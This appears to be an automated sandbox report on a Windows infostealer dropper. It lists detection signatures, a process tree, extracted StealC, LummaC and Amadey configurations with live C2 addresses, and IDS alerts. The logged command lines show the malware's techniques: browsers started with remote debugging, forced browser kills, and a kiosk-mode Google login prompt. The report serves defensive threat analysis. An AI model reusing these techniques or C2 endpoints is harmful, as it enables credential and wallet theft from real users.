Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557593
MD5:	a2331295021ce610c36d581f0d9a13d7
SHA1:	035ab214b34013fbd5291ff7a53001b789762a4b
SHA256:	30e787217c3b90edbcefb62130e1aed8630c54758eccd691e585f9cfe525a7d6
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7804 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A2331295021CE610C36D581F0D9A13D7)

chrome.exe (PID: 8148 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2088,i,17856904751636817292,4723582775574372775,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 5304 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7832 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,17839547982440390256,1055857464074770870,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9104 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKECBFBAEBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKECBFBAEBK.exe (PID: 9164 cmdline: "C:\Users\user\DocumentsKECBFBAEBK.exe" MD5: B514F48E476F41B3142900C137D2DEDD)

skotes.exe (PID: 5408 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B514F48E476F41B3142900C137D2DEDD)

msedge.exe (PID: 4920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3832 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6628 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6704 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8296 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B514F48E476F41B3142900C137D2DEDD)

a4be4c0327.exe (PID: 8648 cmdline: "C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe" MD5: D37D3A53D7894164E6707847360399C3)

d7f88d1a57.exe (PID: 5716 cmdline: "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe" MD5: 5485E223977429BACEDA63967D1172A1)

e9987cd408.exe (PID: 9184 cmdline: "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe" MD5: A2331295021CE610C36D581F0D9A13D7)

8cfb091e91.exe (PID: 2700 cmdline: "C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe" MD5: BA6B36F33BDCDBA751B6955C246A091B)

taskkill.exe (PID: 2688 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7932 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4508 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6392 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5896 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1788 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d7f88d1a57.exe (PID: 6596 cmdline: "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe" MD5: 5485E223977429BACEDA63967D1172A1)

e9987cd408.exe (PID: 5180 cmdline: "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe" MD5: A2331295021CE610C36D581F0D9A13D7)

firefox.exe (PID: 6188 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3712 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5500 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bea78fd9-aee6-407c-905f-2f1ca8196744} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b46406fb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000003.2363623516.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2089025914.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1943295166.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000002.2668304237.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2030406942.0000000000331000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2551942358.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2389409242.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2557884140.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2750496081.0000000000231000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2020388250.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1945261732.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2478552911.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2437353667.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2362537039.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1945734539.0000000000DC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1452818797.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000003.2573497477.00000000056E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2060686940.0000000000231000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d7f88d1a57.exe PID: 5716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d7f88d1a57.exe PID: 5716	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e9987cd408.exe PID: 9184	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e9987cd408.exe PID: 9184	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d7f88d1a57.exe PID: 6596	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d7f88d1a57.exe PID: 6596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d7f88d1a57.exe PID: 6596	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8cfb091e91.exe PID: 2700	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: e9987cd408.exe PID: 5180	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e9987cd408.exe PID: 5180	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.DocumentsKECBFBAEBK.exe.330000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.230000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.230000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8296, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d7f88d1a57.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7804, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8148, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8296, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d7f88d1a57.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:27.458580+0100	2028371	3	Unknown Traffic	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:28.880527+0100	2028371	3	Unknown Traffic	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:30.393120+0100	2028371	3	Unknown Traffic	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-18T13:30:32.929182+0100	2028371	3	Unknown Traffic	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-18T13:30:36.498245+0100	2028371	3	Unknown Traffic	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-18T13:30:40.381517+0100	2028371	3	Unknown Traffic	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:30:40.718333+0100	2028371	3	Unknown Traffic	192.168.2.8	49866	188.114.96.3	443	TCP
2024-11-18T13:30:44.284544+0100	2028371	3	Unknown Traffic	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:30:45.036435+0100	2028371	3	Unknown Traffic	192.168.2.8	49869	188.114.96.3	443	TCP
2024-11-18T13:30:49.923287+0100	2028371	3	Unknown Traffic	192.168.2.8	49873	188.114.96.3	443	TCP
2024-11-18T13:30:52.102927+0100	2028371	3	Unknown Traffic	192.168.2.8	49876	188.114.96.3	443	TCP
2024-11-18T13:30:55.601879+0100	2028371	3	Unknown Traffic	192.168.2.8	49881	188.114.96.3	443	TCP
2024-11-18T13:30:59.415301+0100	2028371	3	Unknown Traffic	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-18T13:31:04.857661+0100	2028371	3	Unknown Traffic	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-18T13:31:04.933409+0100	2028371	3	Unknown Traffic	192.168.2.8	49889	188.114.96.3	443	TCP
2024-11-18T13:31:06.808160+0100	2028371	3	Unknown Traffic	192.168.2.8	49891	188.114.96.3	443	TCP
2024-11-18T13:31:07.245731+0100	2028371	3	Unknown Traffic	192.168.2.8	49892	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:28.213931+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:29.386359+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:42.497177+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:30:47.456623+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:30:54.093396+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49876	188.114.96.3	443	TCP
2024-11-18T13:31:06.068806+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49889	188.114.96.3	443	TCP
2024-11-18T13:31:08.819497+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49891	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:28.213931+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:42.497177+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:31:06.068806+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49889	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:29.386359+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:47.456623+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:31:08.819497+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49891	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:55.086267+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49878	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:19.060429+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49840	185.215.113.43	80	TCP
2024-11-18T13:30:28.514243+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49848	185.215.113.43	80	TCP
2024-11-18T13:30:37.410539+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49856	185.215.113.43	80	TCP
2024-11-18T13:30:45.179115+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49868	185.215.113.43	80	TCP
2024-11-18T13:30:55.231250+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49879	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
